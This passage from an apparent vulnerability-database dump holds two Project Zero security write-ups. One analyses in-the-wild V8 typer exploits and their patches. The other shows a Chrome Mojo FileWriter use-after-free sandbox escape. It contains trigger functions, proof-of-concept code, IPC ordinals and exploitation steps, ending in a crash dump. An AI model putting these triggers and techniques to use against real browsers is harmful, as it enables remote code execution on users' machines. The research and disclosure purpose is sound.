attacker makes use of the incorrectly typed value to create a JavaScript array for which bounds checks always pass even outside the compiled function. Consider the following method, which attempts to optimize array constructor calls:\n\nReduction JSCreateLowering::ReduceJSCreateArray(Node* node) {\n\n[...]\n\n} else if (arity == 1) {\n\nNode* length = NodeProperties::GetValueInput(node, 2);\n\nType length_type = NodeProperties::GetType(length);\n\nif (!length_type.Maybe(Type::Number())) {\n\n// Handle the single argument case, where we know that the value\n\n// cannot be a valid Array length.\n\nelements_kind = GetMoreGeneralElementsKind(\n\nelements_kind, IsHoleyElementsKind(elements_kind)\n\n? HOLEY_ELEMENTS\n\n: PACKED_ELEMENTS);\n\nreturn ReduceNewArray(node, std::vector<Node*>{length}, *initial_map,\n\nelements_kind, allocation,\n\nslack_tracking_prediction);\n\n}\n\nif (length_type.Is(Type::SignedSmall()) && length_type.Min() >= 0 &&\n\nlength_type.Max() <= kElementLoopUnrollLimit &&\n\nlength_type.Min() == length_type.Max()) {\n\nint capacity = static_cast<int>(length_type.Max());\n\nreturn ReduceNewArray(node, length, capacity, *initial_map,\n\nelements_kind, allocation,\n\nslack_tracking_prediction);\n\n[...] \n \n--- \n \nWhen the argument is known to be an integer constant less than 16, the compiler inlines the array creation procedure and unrolls the element initialization loop. ReduceJSCreateArray doesn\u2019t rely on the constant-folding reducer and implements its own less strict equivalent that just compares the upper and lower bounds of the inferred type. Unfortunately, even after folding the function keeps using the original argument node. The folded value is employed during initialization of the backing store while the length property of the array is set to the original node. This means that if we pass the value we obtained at step five to the constructor, it will return an array with the negative length and backing store that can fit 13 elements. Given that bounds checks are implemented as unsigned comparisons, the \u0441rafted array will allow us to access data well past its end. In fact, any positive value bigger than its predicted version would work as well.\n\nThe rest of the trigger function is provided below:\n\n[...]\n\ncorrupted_array = Array(i);\n\ncorrupted_array[0] = 1.1;\n\nptr_leak_array = [wasm_module, array_buffer, [...],\n\nwasm_module, array_buffer];\n\nextra_array = [13.37, [...], 13.37, 1.234];\n\nreturn [corrupted_array, ptr_leak_array, extra_array];\n\n} \n \n--- \n \nThe attacker forces TurboFan to put the data required for further exploitation right next to the corrupted array and to use the double element type for the backing store as it\u2019s the most convenient type for dealing with out-of-bounds data in the V8 heap.\n\nFrom this point on, the exploit follows the same algorithm that public V8 exploits have been following for several years:\n\n 1. Locate the required pointers and object fields through pattern-matching.\n 2. Construct an arbitrary memory access primitive using an extra JavaScript array and ArrayBuffer.\n 3. Follow the pointer chain from a WebAssembly module instance to locate a writable and executable memory page.\n 4. Overwrite the body of a WebAssembly function inside the page with the attacker\u2019s payload.\n 5. Finally, execute it.\n\nThe contents of the payload, which is about half a megabyte in size, will be discussed in detail in a subsequent blog post.\n\nGiven that the vast majority of Chrome exploits we have seen at Project Zero come from either exploit competitions or VRP submissions, the most striking difference this exploit has demonstrated lies in its focus on stability and reliability. Here are some examples. Almost the entire exploit is executed inside a web worker, which means it has a separate JavaScript environment and runs in its own thread. This greatly reduces the chance of the garbage collector causing an accidental crash due to the inconsistent heap state. The main thread part is only responsible for restarting the worker in case of failure and passing status information to the attacker\u2019s server. The exploit attempts to further reduce the time window for GC crashes by ensuring that every corrupted field is restored to the original value as soon as possible. It also employs the OOB access primitive early on to verify the processor architecture information provided in the user agent header. Finally, the author has clearly aimed to keep the number of hard-coded constants to a minimum. Despite supporting a wide range of Chrome versions, the exploit relies on a single version-dependent offset, namely, the offset in the WASM instance to the executable page pointer.\n\n### Patch 1\n\nEven though there\u2019s evidence this vulnerability has been originally used as a 0-day, by the time we obtained the exploit, it had already been fixed. The issue was [reported to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=1028863>) by security researchers Soyeon Park and Wen Xu in November 2019 and was assigned CVE-2019-13764. The proof of concept provided in the report is shown below:\n\nfunction write(begin, end, step) {\n\nfor (var i = begin; i >= end; i += step) {\n\nstep = end - begin;\n\nbegin >>>= 805306382;\n\n}\n\n}\n\nvar buffer = new ArrayBuffer(16384);\n\nvar view = new Uint32Array(buffer);\n\nfor (let i = 0; i < 10000; i++) {\n\nwrite(Infinity, 1, view[65536], 1);\n\n} \n \n--- \n \nAs the reader can see, it\u2019s not the most straightforward way to trigger the issue. The code resembles fuzzer output, and the reporters confirmed that the bug had been found through fuzzing. Given the available evidence, we\u2019re fully confident that it was an independent discovery (sometimes referred to as a \"bug collision\").\n\nSince the proof of concept could only lead to a SIGTRAP crash, and the reporters hadn\u2019t demonstrated, for example, a way to trigger memory corruption, it was initially considered a low-severity issue by the V8 engineers, however, after an internal discussion, the V8 team raised the severity rating to high.\n\nIn the light of the in-the-wild exploitation evidence, we decided to give [the fix](<https://chromium.googlesource.com/v8/v8.git/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1>), which had introduced an explicit check for the NaN case, a thorough examination:\n\n[...]\n\nconst bool both_types_integer =\n\ninitial_type.Is(typer_->cache_->kInteger) &&\n\nincrement_type.Is(typer_->cache_->kInteger);\n\nbool maybe_nan = false;\n\n// The addition or subtraction could still produce a NaN, if the integer\n\n// ranges touch infinity.\n\nif (both_types_integer) {\n\nType resultant_type =\n\n(arithmetic_type == InductionVariable::ArithmeticType::kAddition)\n\n? typer_->operation_typer()->NumberAdd(initial_type,\n\nincrement_type)\n\n: typer_->operation_typer()->NumberSubtract(initial_type,\n\nincrement_type);\n\nmaybe_nan = resultant_type.Maybe(Type::NaN());\n\n}\n\n// We only handle integer induction variables (otherwise ranges\n\n// do not apply and we cannot do anything).\n\nif (!both_types_integer || maybe_nan) {\n\n[...] \n \n--- \n \nThe code makes the assumption that the loop variable may only become NaN if the sum or difference of initial and increment is NaN. At first sight, it seems like a fair assumption. The issue arises from the fact that the value of increment can be changed from inside the loop, which isn\u2019t obvious from the exploit but demonstrated in the proof of concept sent to Chrome. The typer takes into account these changes and reflects them in increment\u2019s computed type. Therefore, the attacker can, for example, add negative increment to i until the latter becomes -Infinity, then change the sign of increment and force the loop to produce NaN once more, as demonstrated by the code below:\n\nvar increment = -Infinity;\n\nvar k = 0;\n\nfor (var i = 0; i < 1; i += increment) {\n\nif (i == -Infinity) {\n\nincrement = +Infinity;\n\n}\n\nif (++k > 10) {\n\nbreak;\n\n}\n\n} \n \n--- \n \nThus, to \u201crevive\u201d the entire exploit, the attacker only needs to change a couple of lines in trigger.\n\n### Patch 2\n\nThe discovered variant was [reported to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=1051017>) in February along with the exploitation technique found in the exploit. This time [the patch](<https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484>) took a more conservative approach and made the function bail out as soon as the typer detects that increment can be Infinity.\n\n[...]\n\n// If we do not have enough type information for the initial value or\n\n// the increment, just return the initial value's type.\n\nif (initial_type.IsNone() ||\n\nincrement_type.Is(typer_->cache_->kSingletonZero)) {\n\nreturn initial_type;\n\n}\n\n// We only handle integer induction variables (otherwise ranges do not\n\n// apply and we cannot do anything). Moreover, we don't support infinities\n\n// in {increment_type} because the induction variable can become NaN\n\n// through addition/subtraction of opposing infinities.\n\nif (!initial_type.Is(typer_->cache_->kInteger) ||\n\n!increment_type.Is(typer_->cache_->kInteger) ||\n\nincrement_type.Min() == -V8_INFINITY ||\n\nincrement_type.Max() == +V8_INFINITY) {\n\n[...] \n \n--- \n \nAdditionally, ReduceJSCreateArray [was updated](<https://chromium.googlesource.com/v8/v8.git/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a>) to always use the same value for both the length property and backing store capacity, thus rendering the reported exploitation technique useless.\n\nUnfortunately, the new patch contained an unintended change that introduced another security issue. If we look at [the source code](<https://chromium.googlesource.com/v8/v8.git/+/0da7ca8781c6c7ec852bef845b72ca7f212cdc23/src/compiler/typer.cc#845>) of TypeInductionVariablePhi before the patches, we find that it checks whether the type of increment is limited to the constant zero. In this case, it assigns the type of initial to the induction variable. The second patch moved the check above the line that ensures initial is an integer. In JavaScript, however, adding or subtracting zero doesn\u2019t necessarily preserve the type, for example:\n\n| \n\n| \n\n-0\n\n| \n\n+\n\n| \n\n0\n\n| \n\n=>\n\n| \n\n-0 \n \n---|---|---|---|---|---|--- \n \n| \n\n| \n\n[string]\n\n| \n\n-\n\n| \n\n0\n\n| \n\n=>\n\n| \n\n[number] \n \n| \n\n| \n\n[object]\n\n| \n\n+\n\n| \n\n0\n\n| \n\n=>\n\n| \n\n[string] \n \nAs a result, the patched function provides us with an even wider choice of possible \u201ctype confusions\u201d.\n\nIt was considered worthwhile to examine how difficult it would be to find a replacement for the ReduceJSCreateArray technique and exploit the new issue. The task turned out to be a lot easier than initially expected because we soon found [this excellent blog post](<https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/>) written by Jeremy Fetiveau, where he describes a way to bypass the initial bounds check elimination hardening. In short, depending on whether the engine has encountered an out-of-bounds element access attempt during the execution of a function in the interpreter, it instructs the compiler to emit either the CheckBounds or NumberLessThan node, and only the former is covered by the hardening. Consequently, the attacker just needs to make sure that the function attempts to access a non-existent array element in one of the first few invocations.\n\nWe find it interesting that even though this equally powerful and convenient technique has been publicly available since last May, the attacker has chosen to rely on their own method. It is conceivable that the exploit had been developed even before the blog post came out.\n\nOnce again, the technique requires an integer with a miscalculated range, so the revamped trigger function mostly consists of various type transformations:\n\nfunction trigger(arg) {\n\n// Initially:\n\n// actual = 1, inferred = any\n\nvar k = 0;\n\narg = arg | 0;\n\n// After step one:\n\n// actual = 1, inferred = [-0x80000000, 0x7fffffff]\n\narg = Math.min(arg, 2);\n\n// After step two:\n\n// actual = 1, inferred = [-0x80000000, 2]\n\narg = Math.max(arg, 1);\n\n// After step three:\n\n// actual = 1, inferred = [1, 2]\n\nif (arg == 1) {\n\narg = \"30\";\n\n}\n\n// After step four:\n\n// actual = string{30}, inferred = [1, 2] or string{30}\n\nfor (var i = arg; i < 0x1000; i -= 0) {\n\nif (++k > 1) {\n\nbreak;\n\n}\n\n}\n\n// After step five:\n\n// actual = number{30}, inferred = [1, 2] or string{30}\n\ni += 1;\n\n// After step six:\n\n// actual = 31, inferred = [2, 3]\n\ni >>= 1;\n\n// After step seven:\n\n// actual = 15, inferred = 1\n\ni += 2;\n\n// After step eight:\n\n// actual = 17, inferred = 3\n\ni >>= 1;\n\n// After step nine:\n\n// actual = 8, inferred = 1\n\nvar array = [0.1, 0.1, 0.1, 0.1];\n\nreturn [array[i], array];\n\n} \n \n--- \n \nThe mismatch between the number 30 and string \u201c30\u201d occurs in step five. The next operation is represented by the SpeculativeSafeIntegerAdd node. The typer is aware that whenever this node encounters a non-number argument, it immediately triggers deoptimization. Hence, all non-number elements of the argument type can be ignored. The unexpected integer value, which obviously doesn\u2019t cause the deoptimization, enables us to generate an erroneous range. Eventually, the compiler eliminates the NumberLessThan node, which is supposed to protect the element access in the last line, based on the observed range.\n\n### Patch 3\n\nSoon after we had identified the regression, the V8 team landed [a patch](<https://chromium.googlesource.com/v8/v8.git/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef>) that removed the vulnerable code branch. They also took a number of additional hardening measures, for example:\n\n * Extended [element access hardening](<https://chromium.googlesource.com/v8/v8.git/+/fa5fc748e53ad9d3ca44050d07659e858dbffd94>), which now prevents the abuse of NumberLessThan nodes.\n * Discovered and [fixed a similar problem](<https://chromium.googlesource.com/v8/v8.git/+/c85aa83087e7146281a95369cadf943ef78bf321>) with the elimination of MaybeGrowFastElements. Under certain conditions, this node, which may resize the backing store of a given array, is placed before StoreElement to ensure the array can fit the element. Consequently, the elimination of the node could allow an attacker to write data past the end of the backing store.\n * [Implemented a verifier](<https://chromium.googlesource.com/v8/v8.git/+/e440eda4ad9bfd8983c9896de574556e8eaee406>) for induction variables that validates the computed type against the more conservative regular phi typing.\n\nFurthermore, the V8 engineers have been working on [a feature](<https://chromium.googlesource.com/v8/v8.git/+/2e82ead865d088890bbfd14abfb22b8055b35394>) that allows TurboFan to insert runtime type checks into generated code. The feature should make fuzzing for typer issues much more efficient.\n\n### Conclusion\n\nThis blog post is meant to provide insight into the complexity of type tracking in JavaScript. The number of obscure rules and constraints an engineer has to bear in mind while working on the feature almost inevitably leads to errors, and, quite often even the slightest issue in the typer is enough to build a powerful and reliable exploit.\n\nAlso, the reader is probably familiar with the hypothesis of an enormous disparity between the state of public and private offensive security research. The fact that we\u2019ve discovered a rather sophisticated attacker who has exploited a vulnerability in the class that has been under the scrutiny of the wider security community for at least a couple of years suggests that there\u2019s nevertheless a certain overlap. Moreover, we were especially pleased to see a bug collision between a VRP submission and an in-the-wild 0-day exploit.\n\nThis is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see [In The Wild Part 3: Chrome Exploits](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-exploits.html>).\n", "modified": "2021-01-12T00:00:00", "published": "2021-01-12T00:00:00", "id": "GOOGLEPROJECTZERO:3397E6EF67D4C71C395ED0244548698A", "href": "https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html", "type": "googleprojectzero", "title": "\nIn-the-Wild Series: Chrome Infinity Bug\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-14T19:22:10", "bulletinFamily": "info", "cvelist": ["CVE-2019-5782"], "description": "Posted by Mark Brand, Exploit Technique Archaeologist.\n\n## Introduction\n\nAfter discovering a [collection](<https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=-status%3AInvalid+%22MojoJS%22+finder%3Amarkbrand&colspec=ID+Status+Restrict+Finder+Reported+Remaining+CVE+Vendor+Product+Summary&cells=ids>) of possible sandbox escape vulnerabilities in Chrome, it seemed worthwhile to [exploit](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1755#c3>) one of these issues as a full-chain exploit together with a renderer vulnerability to get a better understanding of the mechanics required for a modern Chrome exploit. Considering the available bugs, the most likely appeared to be [issue 1755](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1755>), a use-after-free with parallels to classic Javascript engine callback bugs. This is a good candidate because of the high level of control the attacker has both over the lifetime of the free\u2019d object, and over the timing of the later use of the object.\n\n** \n**\n\nApologies in advance for glossing over a lot of details about how the Mojo IPC mechanisms function - there\u2019ll hopefully be some future blogposts explaining in more detail how the current Chrome sandbox interfaces look, but there\u2019s a lot to explain!\n\n** \n**\n\nFor the rest of this blog post, we\u2019ll be considering the last stable 64-bit release of Desktop Chrome for Windows before this issue was fixed, 71.0.3578.98.\n\n## Getting started\n\nOne of the most interesting things that we noticed during our research into the Chrome Mojo IPC layer is that it\u2019s actually possible to make IPC calls directly from [Javascript](<https://chromium.googlesource.com/chromium/src/+/master/mojo/public/js/README.md>) in Chrome! Passing the command line flag \u2018--enable-blink-features=MojoJS\u2019 to Chrome will enable this - and we used this feature to implement a Mojo fuzzer, which found some of the bugs reported.\n\n** \n**\n\nKnowing about this feature, the cleanest way to implement a full Chrome chain would be to use a renderer exploit to enable these bindings in the running renderer, and then do our privilege elevation from Javascript!\n\n## Exploiting the renderer\n\n[_tsuro](<https://twitter.com/_tsuro>) happened to have been working on an exploit for CVE-2019-5782, a nice bug in the v8 typer that was discovered by [SOrryMybad](<https://twitter.com/S0rryMybad>) and used at the Tian Fu Cup. I believe they have an upcoming blog post on the issue, so I\u2019ll leave the details to them. \n\n** \n**\n\nThe bug resulted from incorrectly estimating the possible range of `arguments.length`; this can then be leveraged together with the (BCE) Bounds-Check-Elimination pass in the JIT. Exploitation is very similar to other typer bugs - you can find the exploit in \u2018many_args.js\u2019. Note that as a result of _tsuro\u2019s work, the v8 team [have removed the BCE optimisation ](<https://bugs.chromium.org/p/v8/issues/detail?id=8806>)to make it harder to exploit such issues in the typer!\n\n** \n**\n\nThe important thing here is that we\u2019ll need to have a stable exploit - in order to launch the sandbox escape, we need to enable the Mojo bindings; and the easiest way to do this needs us to reload the main frame, which will mean that any objects we leave in a corrupted state will become fair game for garbage collection.\n\n## Talking to the Browser Process\n\nLooking through the Chrome source code, we can see that the Mojo bindings are added to the Javascript context in [RenderFrameImpl::DidCreateScriptContext](<https://cs.chromium.org/chromium/src/content/renderer/render_frame_impl.cc?rcl=8095e5d9d219ceff1aab5d00aaec59d629d50270&l=5453>), based on the member variable enabled_bindings_. So, to mimic the command line flag we can use our read/write to set that value to BINDINGS_POLICY_MOJO_WEB_UI, and force the creation of a new ScriptContext for the main frame and we should have access to the bindings!\n\n** \n**\n\nIt\u2019s slightly painful to get hold of the RenderFrameImpl for the current frame, but by following a chain of pointers from the global context object we can locate chrome_child.dll, and find the global `g_frame_map`, which is a map from blink::Frame pointers to RenderFrameImpl pointers. For the purposes of this exploit, we assume that there is only a single entry in this map; but it would be simple to extend this to find the right one. It\u2019s then trivial to set the correct flag and reload the page - see `enable_mojo.js` for the implementation.\n\n** \n**\n\nNote that Chrome randomizes the IPC ordinals at build time, so in addition to enabling the bindings, we also need to find the correct ordinals for every IPC method that we want to call. This can be resolved in a few minutes of time in a disassembler of your choice; given that the renderer needs to be able to call these IPC methods, this is just a slightly annoying obfuscation that we could engineer around if we were trying to support more Chrome builds, but for the one version we\u2019re supporting here it\u2019s sufficient to modify the handful of javascript bindings we need:\n\n** \n**\n\nvar kBlob_GetInternalUUID_Name = 0x2538AE26;\n\n** \n**\n\nvar kBlobRegistry_Register_Name = 0x2158E98A;\n\nvar kBlobRegistry_RegisterFromStream_Name = 0x719E4F82;\n\n** \n**\n\nvar kFileSystemManager_Open_Name = 0x305E02BE;\n\nvar kFileSystemManager_CreateWriter_Name = 0x63B8D2A6;\n\n** \n**\n\nvar kFileWriter_Write_Name = 0x64D4FC1C;\n\n## The bug\n\nSo we\u2019ve got access to the IPC interfaces from Javascript - what now?\n\n** \n**\n\nThe bug that we\u2019re looking at is an issue in the implementation of the FileWriter interface of the [FileSystem API](<https://www.html5rocks.com/en/tutorials/file/filesystem/>). This is the interface description for the FileWriter interface, which is an IPC endpoint vended by the privileged browser process to the unprivileged renderer process to allow the renderer to perform brokered file writes to special sandboxed filesystems:\n\n** \n**\n\n// Interface provided to the renderer to let a renderer write data to a file.\n\ninterface FileWriter {\n\n// Write data from |blob| to the given |position| in the file being written\n\n// to. Returns whether the operation succeeded and if so how many bytes were\n\n// written.\n\n// TODO(mek): This might need some way of reporting progress events back to\n\n// the renderer.\n\nWrite(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,\n\nuint64 bytes_written);\n\n** \n**\n\n// Write data from |stream| to the given |position| in the file being written\n\n// to. Returns whether the operation succeeded and if so how many bytes were\n\n// written.\n\n// TODO(mek): This might need some way of reporting progress events back to\n\n// the renderer.\n\nWriteStream(uint64 position, handle<data_pipe_consumer> stream) =>\n\n(mojo_base.mojom.FileError result, uint64 bytes_written);\n\n** \n**\n\n// Changes the length of the file to be |length|. If |length| is larger than\n\n// the current size of the file, the file will be extended, and the extended\n\n// part is filled with null bytes.\n\nTruncate(uint64 length) => (mojo_base.mojom.FileError result);\n\n};\n\n** \n**\n\nThe vulnerability was in the implementation of the first method, Write. However, before we can properly understand the bug, we need to understand the lifetime of the FileWriter objects. The renderer can request a FileWriter instance by using one of the methods in the FileSystemManager interface:\n\n** \n**\n\n// Interface provided by the browser to the renderer to carry out filesystem\n\n// operations. All [Sync] methods should only be called synchronously on worker\n\n// threads (and asynchronously otherwise).\n\ninterface FileSystemManager {\n\n// ...\n\n** \n**\n\n// Creates a writer for the given file at |file_path|.\n\nCreateWriter(url.mojom.Url file_path) =>\n\n(mojo_base.mojom.FileError result,\n\nblink.mojom.FileWriter? writer);\n\n** \n**\n\n// ...\n\n};\n\n** \n**\n\nThe implementation of that function can be found [here](<https://chromium.googlesource.com/chromium/src/+/43be2d668342e8b1dd83cb1a2b9ebfa86474ba45/content/browser/fileapi/file_system_manager_impl.cc#573>):\n\n** \n**\n\nvoid FileSystemManagerImpl::CreateWriter(const GURL& file_path,\n\nCreateWriterCallback callback) {\n\nDCHECK_CURRENTLY_ON(BrowserThread::IO);\n\n** \n**\n\nFileSystemURL url(context_->CrackURL(file_path));\n\nbase::Optional<base::File::Error> opt_error = ValidateFileSystemURL(url);\n\nif (opt_error) {\n\nstd::move(callback).Run(opt_error.value(), nullptr);\n\nreturn;\n\n}\n\nif (!security_policy_->CanWriteFileSystemFile(process_id_, url)) {\n\nstd::move(callback).Run(base::File::FILE_ERROR_SECURITY, nullptr);\n\nreturn;\n\n}\n\n** \n**\n\nblink::mojom::FileWriterPtr writer;\n\nmojo::MakeStrongBinding(std::make_unique<storage::FileWriterImpl>(\n\nurl, context_->CreateFileSystemOperationRunner(),\n\nblob_storage_context_->context()->AsWeakPtr()),\n\nMakeRequest(&writer));\n\nstd::move(callback).Run(base::File::FILE_OK, std::move(writer));\n\n}\n\n** \n**\n\nThe implication here is that if everything goes correctly, we\u2019re returning a std::unique_ptr<storage::FileWriterImpl> bound to a mojo::StrongBinding. A strong binding means that the lifetime of the object is bound to the lifetime of the Mojo interface pointer - this means that the other side of the connection can control the lifetime of the object - and at any point where the code in storage::FileWriterImpl yields control of the [sequence](<https://chromium.googlesource.com/chromium/src/+/lkgr/docs/threading_and_tasks.md#posting-a-sequenced-task>) associated with that binding, the connection could be closed and the instance could be free\u2019d.\n\n** \n**\n\nThis gives us a handle to the blink::mojom::FileWriter Mojo interface described [here](<https://cs.chromium.org/chromium/src/third_party/blink/public/mojom/filesystem/file_writer.mojom?type=cs&q=FileWriter+f:mojom$&sq=package:chromium&g=0&l=11>); the function of interest to us is the Write method, which has a handle to a blink::mojom::Blob as one of it\u2019s parameters. We\u2019ll look at this Blob interface again shortly.\n\n** \n**\n\nWith this in mind, it\u2019s time to look at the vulnerable [function](<https://chromium.googlesource.com/chromium/src/+/975798170a17a651cb399bdc030b9991cf2c7b3a/storage/browser/fileapi/file_writer_impl.cc#26>).\n\n** \n**\n\nvoid FileWriterImpl::Write(uint64_t position,\n\nblink::mojom::BlobPtr blob,\n\nWriteCallback callback) {\n\nblob_context_->GetBlobDataFromBlobPtr(\n\nstd::move(blob),\n\nbase::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),\n\nstd::move(callback), position));\n\n}\n\n** \n**\n\nNow, it\u2019s not immediately obvious that there\u2019s an issue here; but in the Chrome codebase instances of base::Unretained which aren\u2019t immediately obviously correct are often worth further investigation (this creates an unchecked, unowned reference - see Chrome [documentation](<https://www.chromium.org/developers/coding-style/important-abstractions-and-data-structures>)). So; this code can only be safe if GetBlobDataFromBlobPtr always synchronously calls the callback, or if destroying this will ensure that the callback is never called. Since blob_context_ isn\u2019t owned by this, we need to look at the [implementation](<https://chromium.googlesource.com/chromium/src/+/4d526b4f33f813b0ccd3d87a068f26b702d6aff8/storage/browser/blob/blob_storage_context.cc#80>) of GetBlobDataFromBlobPtr, and the way in which it uses callback:\n\n** \n**\n\nvoid BlobStorageContext::GetBlobDataFromBlobPtr(\n\nblink::mojom::BlobPtr blob,\n\nbase::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {\n\nDCHECK(blob);\n\nblink::mojom::Blob* raw_blob = blob.get();\n\nraw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(\n\nbase::BindOnce(\n\n[](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,\n\nbase::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,\n\nconst std::string& uuid) {\n\nif (!context || uuid.empty()) {\n\nstd::move(callback).Run(nullptr);\n\nreturn;\n\n}\n\nstd::move(callback).Run(context->GetBlobDataFromUUID(uuid));\n\n},\n\nstd::move(blob), AsWeakPtr(), std::move(callback)),\n\n\"\"));\n\n}\n\n** \n**\n\nThe code above is calling an asynchronous Mojo IPC method GetInternalUUID on the blob parameter that\u2019s passed to it, and then (in a callback) when that method returns it\u2019s using the returned UUID to find the associated blob data (GetBlobDataFromUUID), and calling the callback parameter with this data as an argument.\n\n** \n**\n\nWe can see that the callback is passed into the return callback for an asynchronous Mojo function exposed by the Blob [interface](<https://cs.chromium.org/chromium/src/third_party/blink/public/mojom/blob/blob.mojom>):\n\n** \n**\n\n// This interface provides access to a blob in the blob system.\n\ninterface Blob {\n\n// Creates a copy of this Blob reference.\n\nClone(Blob& blob);\n\n** \n**\n\n// Creates a reference to this Blob as a DataPipeGetter.\n\nAsDataPipeGetter(network.mojom.DataPipeGetter& data_pipe_getter);\n\n** \n**\n\n// Causes the entire contents of this blob to be written into the given data\n\n// pipe. An optional BlobReaderClient will be informed of the result of the\n\n// read operation.\n\nReadAll(handle<data_pipe_producer> pipe, BlobReaderClient? client);\n\n** \n**\n\n// Causes a subrange of the contents of this blob to be written into the\n\n// given data pipe. If |length| is -1 (uint64_t max), the range's end is\n\n// unbounded so the entire contents are read starting at |offset|. An\n\n// optional BlobReaderClient will be informed of the result of the read\n\n// operation.\n\nReadRange(uint64 offset, uint64 length, handle<data_pipe_producer> pipe,\n\nBlobReaderClient? client);\n\n** \n**\n\n// Reads the side-data (if any) associated with this blob. This is the same\n\n// data that would be passed to OnReceivedCachedMetadata if you were reading\n\n// this blob through a blob URL.\n\nReadSideData() => (array<uint8>? data);\n\n** \n**\n\n// This method is an implementation detail of the blob system. You should not\n\n// ever need to call it directly.\n\n// This returns the internal UUID of the blob, used by the blob system to\n\n// identify the blob.\n\nGetInternalUUID() => (string uuid);\n\n};\n\n** \n**\n\nThis means that we can provide an implementation of this Blob interface hosted in the renderer process; pass an instance of that implementation into the FileWriter interface\u2019s Write method, and we\u2019ll get a callback from the browser process to the renderer process during the execution of GetBlobDataFromBlobPtr, during which we can destroy the FileWriter object. The use of base::Unretained here would be dangerous regardless of this callback, but having it scheduled in this way makes it much cleaner to exploit.\n\n## Step 1: A Trigger\n\nFirst we need to actually reach the bug - this is a minimal trigger from Javascript using the MojoJS bindings we enabled earlier. A complete sample is attached to the bugtracker entry - the file is \u2018trigger.js\u2019\n\n** \n**\n\nasync function trigger() {\n\n// we need to know the UUID for a valid Blob\n\nlet blob_registry_ptr = new blink.mojom.BlobRegistryPtr();\n\nMojo.bindInterface(blink.mojom.BlobRegistry.name,\n\nmojo.makeRequest(blob_registry_ptr).handle, \"process\");\n\n** \n**\n\nlet bytes_provider = new BytesProviderImpl();\n\nlet bytes_provider_ptr = new blink.mojom.BytesProviderPtr();\n\nbytes_provider.binding.bind(mojo.makeRequest(bytes_provider_ptr));\n\n** \n**\n\nlet blob_ptr = new blink.mojom.BlobPtr();\n\nlet blob_req = mojo.makeRequest(blob_ptr);\n\n** \n**\n\nlet data_element = new blink.mojom.DataElement();\n\ndata_element.bytes = new blink.mojom.DataElementBytes();\n\ndata_element.bytes.length = 1;\n\ndata_element.bytes.embeddedData = [0];\n\ndata_element.bytes.data = bytes_provider_ptr;\n\n** \n**\n\nawait blob_registry_ptr.register(blob_req, 'aaaa', \"text/html\", \"\", [data_element]);\n\n** \n**\n\n// now we have a valid UUID, we can trigger the bug\n\nlet file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();\n\nMojo.bindInterface(blink.mojom.FileSystemManager.name,\n\nmojo.makeRequest(file_system_manager_ptr).handle, \"process\");\n\n** \n**\n\nlet host_url = new url.mojom.Url();\n\nhost_url.url = window.location.href;\n\n** \n**\n\nlet open_result = await file_system_manager_ptr.open(host_url, 0);\n\n** \n**\n\nlet file_url = new url.mojom.Url();\n\nfile_url.url = open_result.rootUrl.url + '/aaaa';\n\n** \n**\n\nlet file_writer = (await file_system_manager_ptr.createWriter(file_url)).writer;\n\n** \n**\n\nfunction BlobImpl() {\n\nthis.binding = new mojo.Binding(blink.mojom.Blob, this);\n\n}\n\n** \n**\n\nBlobImpl.prototype = {\n\ngetInternalUUID: async (arg0) => {\n\n// here we free the FileWriterImpl in the callback\n\ncreate_writer_result.writer.ptr.reset();\n\n** \n**\n\nreturn {'uuid': 'aaaa'};\n\n}\n\n};\n\n** \n**\n\nlet blob_impl = new BlobImpl();\n\nlet blob_impl_ptr = new blink.mojom.BlobPtr();\n\nblob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));\n\n** \n**\n\nfile_writer.write(0, blob_impl_ptr);\n\n}\n\n## Step 2: Replacement\n\nAlthough it\u2019s likely not to be of much use in the end, I usually like to start the process of exploiting a use-after-free by replacing the object with completely attacker controlled data - although without an ASLR bypass or an information leak, it\u2019s unlikely we can do anything useful with this primitive, but it\u2019s often useful to get an understanding of the allocation patterns around the object involved, and it gives a clear crash that\u2019s useful to demonstrate the likely exploitability of the issue.\n\n** \n**\n\nOn the Windows build that we\u2019re looking at, the size of the FileWriterImpl is 0x140 bytes. I originally looked at using the Javascript Blob API directly to create allocations, but this causes a number of additional temporary allocations of the same size, which significantly reduces reliability. A better way to cause allocations of a controlled size with controlled data in the browser process is to register new Blobs using the BlobRegistry registerFromStream method - this will perform all of the secondary allocations during the initial call to registerFromStream, and we can then trigger a single allocation of the desired size and contents later by writing data into the DataPipeProducerHandle.\n\n** \n**\n\nWe can test this (see \u2018trigger_replace.js\u2019), and indeed it does reliably replace the free\u2019d object with a buffer containing completely controlled bytes, and crashes in the way we\u2019d expect:\n\n** \n**\n\n(1594.226c): Access violation - code c0000005 (first chance)\n\nFirst chance exceptions are reported before any exception handling.\n\nThis exception may be expected and handled.\n\nchrome!storage::FileSystemOperationRunner::GetMetadata+0x33:\n\n00007ffc`362a1a99 488b4908 mov rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????\n\n0:002> r\n\nrax=0000ce61f98b376e rbx=0000021b30eb4bd0 rcx=2323232323232323\n\nrdx=0000021b30eb4bd0 rsi=0000005ae4ffe3e0 rdi=2323232323232323\n\nrip=00007ffc362a1a99 rsp=0000005ae4ffe2f0 rbp=0000005ae4ffe468\n\nr8=0000005ae4ffe35c r9=0000005ae4ffe3e0 